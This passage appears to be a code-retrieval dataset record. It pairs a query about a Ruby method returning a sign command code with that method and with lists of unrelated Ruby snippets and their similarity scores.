simplify_response(response)\n #the returned 'key' is pretty useless. the key=>value thing here is basically an array\n #within that, we're given an array of key=>value pairs. we want this to be one big hash.\n Hash[*response.group_by {|key,val| key.match(/(.*)_item/)[1]}.map do |section,items|\n [section,\n items.inject([]) do |array,(key,value)|\n i = key.match(/\\d+$/)[0].to_i\n array[i] = value.inject({}) {|all,current| all.merge! current}\n array\n end]\n end.flatten(1)]\n end", "def results\n extract_rows.map do |result|\n hash = {}\n hash[:price] = result.xpath(\".//a[contains(concat(' ',normalize-space(@class),' '),' results_price ')]\").text.strip\n hash[:airline] = result.xpath(\".//div[contains(concat(' ',normalize-space(@class),' '),' rsAirlineName ')]\").text.strip\n legs = result.xpath(\".//div[@class='singleleg']\")\n hash[:leg0_departure_time] = legs[0].xpath(\".//div[@class='flighttime']\")[0].text.strip\n hash[:leg0_arrival_time] = legs[0].xpath(\".//div[@class='flighttime']\")[1].text.strip\n hash[:leg0_duration] = legs[0].xpath(\".//div[@class='duration']\")[0].text.strip\n hash[:leg1_departure_time] = legs[1].xpath(\".//div[@class='flighttime']\")[0].text.strip\n hash[:leg1_arrival_time] = legs[1].xpath(\".//div[@class='flighttime']\")[1].text.strip\n hash[:leg1_duration] = legs[1].xpath(\".//div[@class='duration']\")[0].text.strip\n hash[:booking_url] = @base_url + result.xpath(\".//a[@class='dealsinresult']\")[0].attributes['rel'].value\n hash\n end\n end", "def parse_contrail_xml(data)\n document = REXML::Document.new(data)\n xmpp = Hash.new\n node = 0\n document.elements.each('//AgentXmppData') do |x|\n elements = x.elements\n xmpp[node] = {\n :controller_ip => elements['controller_ip'].text,\n :state => elements['state'].text,\n :last_state => elements['last_state'].text,\n :last_state_at => elements['last_state_at'].text,\n :cfg_controller => elements['cfg_controller'].text,\n :mcast_controller => elements['mcast_controller'].text\n }\n node+=1\n end\n return xmpp\nend", "def parse_response(xml)\n l = Location.new\n\n l.address = xml.elements['/kml/Response/Placemark/address'].text\n xml.elements.each('//PostalCodeNumber') do |postal_code|\n l.postal_code = postal_code.text\n end\n\n coordinates = xml.elements['/kml/Response/Placemark/Point/coordinates'].text\n l.longitude, l.latitude, = coordinates.split(',').map { |v| v.to_f }\n\n return l\n end", "def to_jaxb_json_hash\n _h = {}\n _h['result'] = result.to_jaxb_json_hash unless result.nil?\n _h['error'] = error.to_jaxb_json_hash unless error.nil?\n _h['retorno'] = retorno.to_jaxb_json_hash unless retorno.nil?\n return _h\n end", "def xml_serialization\n {\n \"xml\" => self.xml\n }\n end", "def parse_response(response)\n split_response = response.split(/\\n/).map(&:strip)\n ((/^total/.match(split_response.first)) ? split_response[1..-1] : []).each_with_object(Hash.new { |h,k| h[k] = []}) do |e, acc|\n fields = e.split(/\\s +/)\n acc[fields.last] << { :state => fields[0], :uuid => fields[1], :pid => fields[2], :description => fields.last }\n end\n end", "def to_jaxb_json_hash\n _h = super\n _h['amount'] = amount.to_jaxb_json_hash unless amount.nil?\n _h['currency'] = currency.to_jaxb_json_hash unless currency.nil?\n _h['parameters'] = parameters.to_jaxb_json_hash unless parameters.nil?\n _h['profileId'] = profileId.to_jaxb_json_hash unless profileId.nil?\n _h['paymentMethodId'] = paymentMethodId.to_jaxb_json_hash unless paymentMethodId.nil?\n _h['merchantTransactionId'] = merchantTransactionId.to_jaxb_json_hash unless merchantTransactionId.nil?\n _h['merchantTransactionDescription'] = merchantTransactionDescription.to_jaxb_json_hash unless merchantTransactionDescription.nil?\n _h['transactionMode'] = transactionMode.to_jaxb_json_hash unless transactionMode.nil?\n if !lineItems.nil?\n _ha = Array.new\n lineItems.each { | _item | _ha.push _item.to_jaxb_json_hash }\n _h['lineItems'] = _ha\n end\n return _h\n end", "def response_to_h(resp) # :nodoc:\n resp = resp.body.gsub(/RT\\/\\d+\\.\\d+\\.\\d+\\s\\d{3}\\s.*\\n\\n/,\"\") # toss the HTTP response\n\n # unfold folded fields\n # A newline followed by one or more spaces is treated as a\n # single space\n resp.gsub!(/\\n +/, \" \")\n\n #replace CF spaces with underscores\n while resp.match(/CF\\.\\{[\\w_ ]*[ ]+[\\w ]*\\}/)\n resp.gsub!(/CF\\.\\{([\\w_ ]*)([ ]+)([\\w ]*)\\}/, 'CF.{\\1_\\3}')\n end\n return {:error => resp } if (resp =~ /^#/ and resp =~/does not exist\\.$/) or (resp =~ /Transaction \\d+ is not related to Ticket/)\n\n # convert fields to key value pairs\n ret = {}\n resp.each_line do |ln|\n next unless ln =~ /^.+?:/\n ln_a = ln.split(/:/,2)\n ln_a.map! {|item| item.strip}\n ln_a[0].downcase!\n ret[ln_a[0]] = ln_a[1]\n end\n\n return ret\n end", "def process_xml\n @doc.css(\"Details\").children.each do |ir8arecord|\n data_map = {}\n\n # IR8ARecord --> ESubmissionSDSC --> IR8AST\n\n ir8arecord.child.child.children.each do |data|\n data_map[data.name] = data.content\n end\n\n @xml_map << data_map\n end\n\n @xml_map\n\n end", "def to_jaxb_json_hash\n _h = {}\n if !items.nil?\n _ha = Array.new\n items.each { | _item | _ha.push _item.to_jaxb_json_hash }\n _h['items'] = _ha\n end\n _h['id'] = id.to_jaxb_json_hash unless id.nil?\n _h['date'] = date.to_jaxb_json_hash unless date.nil?\n _h['currency'] = currency.to_jaxb_json_hash unless currency.nil?\n if !addresses.nil?\n _ha = Array.new\n addresses.each { | _item | _ha.push _item.to_jaxb_json_hash }\n _h['addresses'] = _ha\n end\n if !lineItems.nil?\n _ha = Array.new\n lineItems.each { | _item | _ha.push _item.to_jaxb_json_hash }\n _h['lineItems'] = _ha\n end\n _h['vendorParameters'] = vendorParameters.to_jaxb_json_hash unless vendorParameters.nil?\n _h['merchantAccountId'] = merchantAccountId.to_jaxb_json_hash unless merchantAccountId.nil?\n return _h\n end", "def get_response\n @response = Net::HTTP.get_response @uri\n # Parse the response body\n response_array = @response.body.split\n @result = {}\n response_array.each do |val|\n # Strip newlines\n val.gsub! /\\r\\n$/, ''\n # If val is not a comment (beginning with ';'),\n # split it on the '=' and add it to the @result\n # hash.\n unless val =~ /^;/\n #x = val.split('=')\n @result.store(val.split('=')[0], val.split('=')[1])\n end\n end\n @result\n end", "def to_jaxb_json_hash\n _h = super\n _h['mimeType'] = mimeType.to_jaxb_json_hash unless mimeType.nil?\n if !bytes.nil?\n _ha = Array.new\n bytes.each { | _item | _ha.push _item.to_jaxb_json_hash }\n _h['bytes'] = _ha\n end\n _h['fileName'] = fileName.to_jaxb_json_hash unless fileName.nil?\n return _h\n end", "def process_return url, format\n data = Net::HTTP.get_response(URI.parse(url)).body\n\n # header...\n header = Hash.new \n header[:url] = url \n\n if (format == \"xml\") then\n doc = REXML::Document.new(data)\n \n header[:status] = doc.root.elements[\"status\"].text\n header[:copyright] = doc.root.elements[\"copyright\"].text\n header[:num_results] = doc.root.elements[\"results/totalCommentsReturned\"].text if (doc.root.elements[\"results/totalCommentsReturned\"] != nil)\n \n # data...\n records = Array.new\n doc.root.each_element('//result_set/results/comments/comment') do |review| \n record = Hash.new \n review.each_element do |ele|\n record.merge!({ele.name => ele.text})\n end\n records << record\n end \n \n return records, header\n \n else\n return data, header\n end\n \n end", "def hash_xml(xml, params)\n params.each do |key, value|\n xml = xml_key_value(key, value, xml)\n end\n xml\n end", "def report_list_hash\n\t\t\tpost= { \"token\" => @token }\n\t\t\tdocxml = nil\n\t\t\tdocxml=nessus_request('report/list', post)\n\t\t\tif docxml.nil?\n\t\t\t\treturn\n\t\t\tend\n\t\t\t#puts docxml\n\t\t\treports=Array.new\n\t\t\tdocxml.root.elements['contents'].elements['reports'].each_element('//report') {|report|\n\t\t\t\tentry=Hash.new\n\t\t\t\tentry['id']=report.elements['name'].text if report.elements['name']\n\t\t\t\tentry['name']=report.elements['readableName'].text if report.elements['readableName']\n\t\t\t\tentry['status']=report.elements['status'].text if report.elements['status']\n\t\t\t\tentry['timestamp']=report.elements['timestamp'].text if report.elements['timestamp']\n\t\t\t\treports.push(entry)\n\t\t\t}\n\t\t\treturn reports\n\t\tend", "def read\n Hash.from_xml(File.open(file_name))\n end", "def to_hash\n return self.document.to_hash\n end", "def query\n {:xml => xml}\n end", "def to_hash\n hash = { :lead_selector => @lead_selector.to_hash,\n :attributes! => { :lead_selector => { 'xsi:type' => @lead_selector.type } } }\n hash[:last_updated_at] = @last_updated_at.strftime(\"%Y-%m-%dT%H:%M:%S-00:00\") if @last_updated_at\n hash[:stream_position] = @stream_position if @stream_position\n hash[:batch_size] = @batch_size if @batch_size\n hash[:include_attributes] = @include_attributes if @include_attributes\n hash\n end", "def to_h\n JSON.parse(@body, symbolize_names: true)\n end", "def get_hash_array_from_xml_object(obj, name = nil)\n plural_name = name.downcase.pluralize # eg. 'models' or 'items'\n\n case obj[plural_name]\n when Array\n #\n # When the array type is set in XML eg. <plural_name type=\"array\">\n # instead of returning a hash of sub objects, it simply returns\n # the array of hashes that we need.\n #\n return obj[plural_name]\n when Hash\n #\n # When the array type is NOT set in XML eg. <plural_name>\n # The root hash points to another hash, which includes the key\n # :singular_name, whose value is the array of hashes we need.\n #\n singular_obj = obj[plural_name]\n return get_hash_from_xml_object(singular_obj, name)\n else # Something went wrong...\n raise \"Bad object: not array or hash responding to '#{plural_name}': #{obj.inspect}\"\n end\n end", "def from_xml(xml_io)\n\t\tbegin\n\t\t\tresult = Nokogiri::XML(xml_io)\n\t\t\treturn { result.root.name.to_sym => xml_node_to_hash(result.root)}\n\t\trescue Exception => e\n\t\t\t# raise your custom exception here\n\t\tend\n\tend", "def to_jaxb_json_hash\n _h = {}\n if !deliveryInfo.nil?\n _ha = Array.new\n deliveryInfo.each { | _item | _ha.push _item.to_jaxb_json_hash }\n _h['deliveryInfo'] = _ha\n end\n _h['resourceURL'] = resourceURL.to_jaxb_json_hash unless resourceURL.nil?\n return _h\n end", "def to_h\n recursive_serialization(self)\n end", "def xml_file_to_hash(file_path)\n return File.open(file_path) do |f|\n # Convert file elements to ruby hash\n @parser.parse(Nokogiri::XML(f).to_s)\n end\n end", "def to_jaxb_json_hash\n _h = {}\n _h['flickr'] = flickr.to_jaxb_json_hash unless flickr.nil?\n _h['twitter'] = twitter.to_jaxb_json_hash unless twitter.nil?\n _h['website'] = website.to_jaxb_json_hash unless website.nil?\n _h['userId'] = userId.to_jaxb_json_hash unless userId.nil?\n _h['lastFm'] = lastFm.to_jaxb_json_hash unless lastFm.nil?\n _h['mySpace'] = mySpace.to_jaxb_json_hash unless mySpace.nil?\n _h['fullname'] = fullname.to_jaxb_json_hash unless fullname.nil?\n _h['about'] = about.to_jaxb_json_hash unless about.nil?\n _h['url'] = url.to_jaxb_json_hash unless url.nil?\n return _h\n end", "def parse(response)\n XMLRPC::Marshal.load_response(response.body)\n end" ]
[ "0.70416325", "0.6780529", "0.6655467", "0.6622383", "0.66137534", "0.65459037", "0.639292", "0.6312239", "0.6306979", "0.61773986", "0.61700517", "0.60874766", "0.6041191", "0.60181165", "0.60173273", "0.60072607", "0.59886366", "0.5981419", "0.59748733", "0.5944615", "0.59416175", "0.5929851", "0.5928776", "0.5908817", "0.5901004", "0.5869199", "0.5869171", "0.58568126", "0.5852543", "0.5845869", "0.5839758", "0.5820051", "0.5791654", "0.5760226", "0.575793", "0.57227373", "0.5704175", "0.57017547", "0.568121", "0.56767213", "0.56570685", "0.56549966", "0.56547034", "0.5651412", "0.56336045", "0.56324553", "0.56324553", "0.5630725", "0.5622292", "0.5606105", "0.56047297", "0.5603843", "0.5603675", "0.5603208", "0.5594626", "0.558507", "0.55845124", "0.55770785", "0.55527985", "0.55389494", "0.55310094", "0.55211085", "0.5499075", "0.54892766", "0.54787123", "0.54787123", "0.5475367", "0.54686046", "0.5459278", "0.54334056", "0.54267055", "0.54244053", "0.5422606", "0.5421508", "0.5421486", "0.5420906", "0.5419169", "0.54121137", "0.54110813", "0.5405574", "0.5404574", "0.5403528", "0.5397763", "0.5396426", "0.5393726", "0.5388135", "0.53835666", "0.53834426", "0.5369911", "0.53667754", "0.5364192", "0.534871", "0.53404677", "0.53382593", "0.5333458", "0.5332619", "0.5332426", "0.5328333", "0.5327509", "0.53258175", "0.53239536" ]
0.0
-1
Returns the command identifier string. See specification for list of valid command codes.
def command_code raise MovingsignApi::NotImplementedError, "Needs to be implemented in subclass." end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def hex_cmd_id\n \"0x\" + @cmd_id.to_s(16)\n end", "def command_name(cmd)\n cmd\n end", "def command\n return @command.underscore if @command.is_a?(String)\n @command\n end", "def command_name\n return @command_name\n end", "def command_name\n @command_name ||= if command = name.to_s.split(\"::\").last\n command.chomp!(\"Command\")\n command.underscore\n end\n end", "def commandType\n result = \"\"\n if (@currentCommand.slice(0) == \"@\")\n result = \"A_COMMAND\"\n else\n result = \"C_COMMAND\"\n end\n return result\n end", "def command_string\n\t\treturn datastore['CMD'] || ''\n\tend", "def to_s\n return command\n end", "def command_name(command)\n command.slice(0, command.index(/\\s/)).split('/')[-1]\n end", "def command(cmd)\n if VNMNetwork::COMMANDS.keys.include?(cmd.to_sym)\n cmd_str = \"#{VNMNetwork::COMMANDS[cmd.to_sym]}\"\n else\n cmd_str = \"#{cmd}\"\n end\n\n return cmd_str\n end", "def get_command_id()\n @query['command_id'] || nil\n end", "def name\n GCODE_DICTIONARY[cmd.to_sym] || :unknown\n end", "def ident\n \"<Command name=#{name}>\"\n end", "def command_name\n return self.class.to_s.split(\"::\").last.downcase.gsub(/command/,\"\")\n end", "def command command_string\n connection.command self.id, nil, command_string\n end", "def command_name\n self.class.command_name\n end", "def command\n return @raw_command\n end", "def command_name(command)\n i = command =~ /\\s/\n command = command.slice(0, i) if i\n command.split('/')[-1]\n end", "def command_name; end", "def raw_command\n @raw_command ||= @raw.split[0] || \"\"\n end", "def command_type\n case @current[0]\n when '@'\n :A_COMMAND\n when '('\n :L_COMMAND\n else\n :C_COMMAND\n end\n end", "def command(cmd)\n \"do_#{cmd}\".intern\n end", "def command_pp\n to_s.gsub(/^_/, \"\").downcase\n end", "def command_name\n klass_name = self.class.name.split('::').last\n command = klass_name.gsub(/([^\\^])([A-Z])/, '\\1_\\2').downcase\n command\n end", "def command_name(name = T.unsafe(nil)); end", "def command_header\n header = \"#{command.identity}\"\n header << \" -- #{command.description}\" if command.description\n header\n end", "def command\n @attributes['command']\n end", "def command\n case first\n when '\\?' then Command::HelpCommand\n when '\\config' then Command::PrintConfigCommand\n else\n puts \"Unknown command: #{buffer}\"\n end\n end", "def cmd(command)\n\t\tbegin\n\t\t\t`#{command}`\n\t\trescue Exception => e\n\t\t\te.to_s\n\t\tend\n\tend", "def command_type\n if arithmetic?\n \"C_ARITHMETIC\"\n else\n \"C_#{arg_0.upcase}\"\n end\n end", "def unidentified_command_message\n return \"Hmmm. I can't figure out what that meant. Try */ttt help* for available commands.\"\n end", "def extractCommandID(msgID)\n retVal = \"000\"\n\n # Check if the ID is a hexadecimal number\n if msgID =~ /(0x)?[0-9a-fA-F]+/\n # Convert the message ID from a string to a value\n val = msgID.to_i(16)\n\n # Strip off all but the last 12 bits and convert the value to a\n # hexadecimal string\n retVal = \"%03x\" % (val & 0x7ff)\n end\n\n return \"0x\" + retVal\nend", "def quick_command\n @raw[0] || \"\"\n end", "def to_s\n #N Without this we won't see the command as a command and a list of arguments\n return command.join(\" \")\n end", "def command\n return \"#{@command} #{options}\"\n end", "def command\n\n h.fields['__command__']\n end", "def compiled_identifier\n identifier\n end", "def getCommand(state)\n\treturn 'e ' << state.to_s\nend", "def command; datastore['COMMAND']; end", "def command\n attributes.fetch(:command)\n end", "def command\n attributes.fetch(:command)\n end", "def unsupported_command_message\n return \"That was not a supported command\"\n end", "def identifier_string\n change_loggable.identifier_string rescue \"unknown\"\n end", "def commandtype(line)\n case line\n when /^@/\n return \"A_COMMAND\"\n when /^\\w*=/\n return \"C_COMMAND\"\n when /^*;/\n return \"C_COMMAND\"\n when /^*\\(/\n return \"L_COMMAND\"\n end\n end", "def cmd_uuid\n puts @fs.uuid\n end", "def identifier_string\n name\n end", "def to_s\n name\n .split(\"::\")\n .map { |n| n.gsub(/Command$/, \"\").downcase if /Command$/.match?(n) }\n .compact\n .join(\" \")\n end", "def getCommand()\n raise \"Missing implementation of 'getCommand'\"\n end", "def retrieve_command_name(args) #:nodoc:\n meth = args.first.to_s unless args.empty?\n args.shift if meth && (map[meth] || meth !~ /^\\-/)\n end", "def to_s\n \"executed `#{@command.to_s.ellipsisize}'\"\n end", "def command_name(command)\n parts = []\n command = command.split(\" \")\n command.shift while command[0].to_s.include?(\"=\")\n parts << command.shift.split(\"/\")[-1]\n if parts[0] == \"sudo\"\n until command.empty?\n part = command.shift\n if part.include?(\"/\")\n parts << part.split(\"/\")[-1]\n break\n else\n parts << part\n end\n end\n end\n parts.join(\" \")\n end", "def command\n if args.skip?\n ''\n else\n commands.join('; ')\n end\n end", "def full_command\n command_array.join(' ')\n end", "def cmd_keys\n %i[uuid dry_run printer]\n end", "def command(name)\n commands[name]\n end", "def command(name)\n commands[name]\n end", "def command(name)\n commands[name]\n end", "def command_name(index)\n @list[index]\n end", "def get_key_from_command(argv)\n case argv[0].to_s.downcase\n when \"info\",\"multi\",\"exec\",\"slaveof\",\"config\",\"shutdown\"\n return nil\n when \"bitop\"\n return argv[2]\n else\n # Unknown commands, and all the commands having the key\n # as first argument are handled here:\n # set, get, ...\n return argv[1]\n end\n end", "def command\n if defined? @command\n @command\n else\n @command = ENV['SHARP_COMMAND'].downcase.to_sym if ENV['SHARP_COMMAND'].present?\n end\n end", "def get_key_from_command(argv)\n case argv[0].to_s.downcase\n when \"info\",\"multi\",\"exec\",\"slaveof\",\"config\",\"shutdown\"\n return nil\n when \"bitop\"\n return argv[2]\n else\n # Unknown commands, and all the commands having the key\n # as first argument are handled here:\n # set, get, ...\n return argv[1]\n end\n end", "def command\n @property[:command]\n end", "def code\n # Short circuit is this isn't a Command Paper.\n return \"#{source} #{session} (#{paper_no}) #{vol} #{start_page}\" if source != 'CMD'\n\n # Paper number prefixes are different for sessions.\n prefix = case session[0..3].to_i\n when 1000..1869 then ''\n when 1870..1899 then 'C.'\n when 1900..1919 then 'Cd.'\n else 'Cmd.'\n end\n \n \"HC #{session} [#{prefix}#{paper_no}] #{vol} #{start_page}\"\n end", "def opcode\n\t\t\treturn OPCODE_NAME[ self.numeric_opcode ]\n\t\tend", "def command_type(instruction)\n instruction = instruction.strip\n if instruction[0] == \"@\"\n translate_a_instruction(instruction)\n else\n translate_c_instruction(instruction)\n end\n end", "def command name\n @commands[name]\n end", "def to_s\n 'Abstract Command'\n end", "def command(name)\n commands.find { |command| command.name == name.to_s }\n end", "def command(key)\n keys = configuration.instance.keys\n cmd = eval \"#{keys}.#{key}\"\n cmd.capitalize! << \"Command\"\n case cmd\n when /QuitCommand/\n QuitCommand.new(@terminal)\n else\n NoOpCommand.new\n end\n end", "def to_s\n msg = ''\n msg += \"Command: #{name}\\n\"\n options.each { |o| msg += \" \" + o.inspect + \"\\n\"}\n msg += \"\\n\"\n commands.each { |k, v| msg += commands[k].inspect }\n msg\n end", "def available_commands_string\n @available_commands.join(', ')\n end", "def identifier\n @identifiers[0]\n end", "def name\n return \"#{@code}\"\n end", "def command_name=(_arg0); end", "def compiled_identifier\n ids = [base.identifier]\n ids << Well.config.element_separator << identifier\n ids.join\n end", "def get_key_from_command(argv)\n case argv[0].to_s.downcase\n when \"info\",\"multi\",\"exec\",\"slaveof\",\"config\",\"shutdown\",\"select\"\n nil\n else\n # Unknown commands, and all the commands having the key\n # as first argument are handled here:\n # set, get, ...\n argv[1]\n end\n end", "def formulate_command\n @command\n end", "def command(str)\n ar=str.split(/ /)\n case ar[0]\n when \"++addr\"\n if ar.size<2\n return @addr.to_s\n else \n @addr=ar[1].to_i\n end\n\n end\n return nil\n end", "def identifier_name\n return nil if (code = @codes[@pos]).nil?\n\n pos0 = @pos\n chars = []\n if code == 0x5c and ucode = unicode_escape? and identifier_start?(ucode)\n chars.push(ucode)\n @pos += 6\n elsif identifier_start?(code)\n chars.push(code)\n @pos += 1\n else\n return nil\n end\n\n while true\n code = @codes[@pos]\n if code == 0x5c and ucode = unicode_escape? and identifier_part?(ucode)\n chars.push(ucode)\n @pos += 6\n elsif identifier_part?(code)\n chars.push(code)\n @pos += 1\n else\n name = chars.pack(\"U*\").to_sym\n return ECMA262::IdentifierName.get(name)\n end\n end\n end", "def output_identifier(v)\n v = 'untitled' if v == ''\n (i = identifier_output_method) ? v.to_s.send(i).to_sym : v.to_sym\n end", "def command_for(name, *args)\n command_str_for(*(COMMANDS[name] + args))\n end", "def command\n relation.command(command_type, **command_compiler_options)\n end", "def code_name(code)\n Codes.code_symbol(code)\n end", "def name_for_opcode(opcode)\n OPCODE_VALUE_TO_NAME[opcode] || \"OP_UNKNOWN\"\n end", "def identifier_for identifier\n \"#{name.gsub(/^.*::/,'').downcase}s.#{identifier}\"\n end", "def ident(args)\n args[ident_key()].to_s\n end", "def command_str_for(*args)\n args.collect{|arg|\n case arg\n when Array\n arg.join(' ')\n when Hash\n arg.collect{|k,v| \"-#{k} #{v}\"}.join(' ')\n else\n arg.to_s\n end\n }.join(' ')\n end", "def interface_name_interface_command(port)\n\t\tport.downcase\n\tend", "def cmd\n (@cmd ? @cmd : @ctx.cmd).join ' '\n end", "def command_to_name(command)\n command = command.upcase\n begin\n zone = zone_from_command(command)\n @commands[zone][command][:name]\n rescue StandardError\n nil\n end\n end", "def command_name\n @command_name ||= SimpleCov.command_name\n end", "def command_name\n @command_name ||= SimpleCov.command_name\n end", "def command_name\n @command_name ||= SimpleCov.command_name\n end", "def description_from_command(command)\n zone = zone_from_command(command)\n @commands[zone][command][:description]\n end", "def notifycmdline\r\n\t\t\t`#{BITS::BITSADMIN} /getnotifycmdline {#{@id}}`\r\n\t\tend", "def command_names\n commands.map &:name\n end", "def id\n code\n end", "def symbol\n i = 1\n sym = \"\"\n nums = Array['0', '1', '2', '3', '4', '5', '6', '7', '8', '9', \"-\"]\n\n while (i < @currentCommand.length and @currentCommand.slice(i) != '/')\n if (nums.include?(@currentCommand.slice(i)))\n sym += @currentCommand.slice(i)\n else\n raise \"Invalid input\"\n end\n i += 1\n end\n return sym\n end", "def command\n return nil unless commands\n\n # Map commands to template & chain\n commands.map(&method(:template_command_with_output_cleaned)).join(' && ')\n end", "def command(name)\n return @commands[name]\n end" ]
[ "0.7263898", "0.71711224", "0.6969202", "0.6875923", "0.68441933", "0.68330187", "0.68178886", "0.6757853", "0.675225", "0.67117155", "0.6682618", "0.655117", "0.6544297", "0.6522868", "0.65027136", "0.6496357", "0.64919055", "0.6423834", "0.6296518", "0.6251121", "0.6233588", "0.62308896", "0.6163605", "0.61591995", "0.6157829", "0.6147756", "0.61358964", "0.61259437", "0.6119406", "0.6103905", "0.60993797", "0.60815746", "0.6060832", "0.6054894", "0.60537785", "0.60534775", "0.5984006", "0.59657353", "0.5957868", "0.59406924", "0.59406924", "0.5884384", "0.58616334", "0.5858412", "0.5855436", "0.58499104", "0.5834984", "0.5821314", "0.5817184", "0.5784728", "0.5776185", "0.57683235", "0.57650656", "0.5754114", "0.574855", "0.574855", "0.574855", "0.574469", "0.5724037", "0.57239574", "0.57214", "0.5720982", "0.57081825", "0.56872666", "0.5686841", "0.5664734", "0.5664271", "0.566287", "0.5638276", "0.56352884", "0.5632093", "0.56282175", "0.561783", "0.5597843", "0.55867183", "0.55834484", "0.55829906", "0.55820477", "0.55814695", "0.55776376", "0.55658835", "0.5565546", "0.5564929", "0.5557232", "0.55442894", "0.5543005", "0.55295813", "0.5527034", "0.5519887", "0.5519594", "0.55191284", "0.55191284", "0.55191284", "0.5491893", "0.54834896", "0.54694206", "0.5466052", "0.5456926", "0.54554445", "0.54553676" ]
0.5637875
69
Returns a byte array representing this command, appropriate for sending to the sign's serial port
def to_bytes # set defaults self.sender ||= :pc self.receiver ||= 1 bytes = [] bytes.concat [0x00] * 5 # start of command bytes.concat [0x01] # <SOH> bytes.concat self.sender.to_bytes # Sender Address bytes.concat self.receiver.to_bytes # Reciver Address bytes.concat [0x02] # <STX> bytes.concat string_to_ascii_bytes(command_code) # Command Code bytes.concat command_payload_bytes # command specific payload bytes.concat [0x03] # <ETX> bytes.concat generate_checksum_bytes(bytes[10..-1]) # Checksum bytes (4) bytes.concat [0x04] # <EOT> bytes end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def command_payload_bytes\n raise MovingsignApi::NotImplementedError, \"Needs to be implemented in subclass.\"\n end", "def to_s\n [0, 32, @device_token, @payload.length, @payload ].pack(\"CnH*na*\")\n end", "def encode_to_array\n components = []\n components << [self.class.id, @channel, @payload.bytesize].pack(PACK_CHAR_UINT16_UINT32)\n components << self.class.encoded_payload(@payload)\n components << FINAL_OCTET\n components\n end", "def to_s\n return command\n end", "def to_binary\n return '' unless @ready\n\n to_a.pack('C*') rescue binding.pry\n end", "def to_a\n return [] unless @ready\n\n bytes = [OP_CODES[@op][@mode][:byte]]\n\n if [:a, :ar].include?(@mode) || (@arg && @arg > 255)\n bytes += [@arg.ls_byte, @arg.ms_byte]\n elsif @arg\n bytes += [@arg]\n else\n bytes\n end\n end", "def bytes\n [self].pack(\"q>\").bytes.to_a.drop_while{|x| x == 0}\n end", "def build_packet\n return [@request_id, @command_type, @string1, @string2].pack(\"VVa#{@string1.length}a2\")\n end", "def data_as_bytes\n data = []\n data << @status\n data << @meta_type\n data << 4\n data << @data[0]\n data << @data[1]\n data << @data[2]\n data << @data[3]\n end", "def to_bytes()\n\t\treturn self.chars.map(&:ord)\n\tend", "def to_r\n raw = [ @version, @command, @dest_port, Rex::Socket.addr_atoi( @dest_ip ) ].pack( 'CCnN' )\n return raw if( @userid.empty? )\n return raw + [ @userid ].pack( 'Z*' )\n end", "def bytes\n\t\tbin.unpack('C*')\n\tend", "def get_rx_data\n return self.sendcmd(\"rx.get_data\")\n end", "def command\n return @raw_command\n end", "def packed()\n body = @action.chr + \n @priv_lvl.chr + \n @authen_type.chr + \n @service.chr + \n @user_len.chr + \n @port_len.chr + \n @rem_addr_len.chr + \n @data_len.chr\n\n body << @user if (@user)\n body << @port if (@port)\n body << @rem_addr if (@rem_addr)\n body << @data if (@data)\n return(body)\n end", "def data_as_bytes\n data = []\n data << @status\n data << @meta_type\n data << 2\n data << @data[0]\n data << (@data[1] ? 1 : 0)\n end", "def to_binary(options = {})\n id_for_pack = options[:for_validation] ? 0 : id\n [1, id_for_pack, expiry, 0, 32, device_token, payload_size, payload].pack(\"cNNccH*na*\")\n end", "def to_s\n\t\t\treturn self.each_byte.to_a.pack( 'C*' )\n\t\tend", "def to_s\n msg_str = \"Command Packet Hex Str: #{@cmd_str.to_s}\\n\"\n msg_str << \"net_id: #{@net_id}\\n\"\n msg_str << \"pkt_no: #{@pkt_no}\\n\"\n msg_str << \"cmd_id: #{@cmd_id.to_s(16)}\\n\"\n msg_str << \"res_req: #{@res_req}\\n\"\n msg_str << \"ack_req: #{@ack_req}\\n\"\n msg_str << \"ack_bit: #{@ack_bit}\\n\"\n msg_str << \"err_bit: #{@err_bit}\\n\"\n if @data != nil\n data_str = \"\"\n if @data == CmdManager::DONT_CARE\n data_str = CmdManager::DONT_CARE\n else \n @data.each{|x| \n if x == CmdManager::DONT_CARE\n data_str << CmdManager::DONT_CARE\n else\n data_str << \"#{x.to_s(16)} \"\n end\n }\n end\n \n msg_str << \"data: [#{data_str.chop}]\\n\"\n end\n if @error_no != 0\n msg_str << \"error_desc: #{@error_desc}\\n\"\n end\n \n msg_str\n end", "def encode\n return @_data unless @_data.nil?\n @_data = [@bin_data].pack( 'm' ).chomp if @bin_data \n @_data\n end", "def to_s\n [1, message_id, self.class.expires_at, 0, 32, device_token, 0, payload_size, payload].pack('ciiccH*cca*')\n end", "def to_payload\n pin = @in.map{|i|\n buf = [ i.prev_out, i.prev_out_index ].pack(\"a32I\")\n buf << Protocol.pack_var_int(i.script_sig_length)\n buf << i.script_sig if i.script_sig_length > 0\n buf << (i.sequence || \"\\xff\\xff\\xff\\xff\")\n }.join\n\n pout = @out.map{|o|\n buf = [ o.value ].pack(\"Q\")\n buf << Protocol.pack_var_int(o.pk_script_length)\n buf << o.pk_script if o.pk_script_length > 0\n buf\n }.join\n\n in_size, out_size = Protocol.pack_var_int(@in.size), Protocol.pack_var_int(@out.size)\n [[@ver].pack(\"I\"), in_size, pin, out_size, pout, [@lock_time].pack(\"I\")].join\n end", "def gets_buffer_s(*a)\n @device.buffer.map { |msg| msg[:data] = TypeConversion.numeric_byte_array_to_hex_string(msg[:data]); msg }\n end", "def raw\n @buffer\n end", "def data\n identifier = @identifier || 0\n expiry = @expiry || 0\n size = [payload].pack(\"a*\").size\n data_array = [1, identifier, expiry, 32, token, size, payload]\n data_array.pack(\"cNNnH*na*\")\n end", "def value\n @bytes.pack('C*')\n end", "def to_binary\n return '' unless @ready\n\n @mode == :r ? to_a.pack('Cc') : to_a.pack('C*')\n end", "def to_bin\n [\n \"data\",\n [body.size].pack(\"V\"),\n body\n ].join\n end", "def as_bytes\n raise NotImplementedError\n end", "def to_str\n bytes\n end", "def to_str\n bytes\n end", "def to_str\n bytes\n end", "def packed()\n body = @flags.chr +\n @authen_method.chr +\n @priv_lvl.chr + \n @authen_type.chr +\n @service.chr +\n @user_len.chr +\n @port_len.chr +\n @rem_addr_len.chr +\n @arg_cnt.chr\n \n body << @arg_lens.pack('C*') if (@arg_lens.length != 0)\n body << @user if (@user)\n body << @port if (@port)\n body << @rem_addr if (@rem_addr)\n body << @args.join if (@args.length != 0)\n\n return(body)\n end", "def get_tx_data\n return self.sendcmd(\"tx.get_data\")\n end", "def to_bytes; end", "def to_bytes; end", "def to_s\n 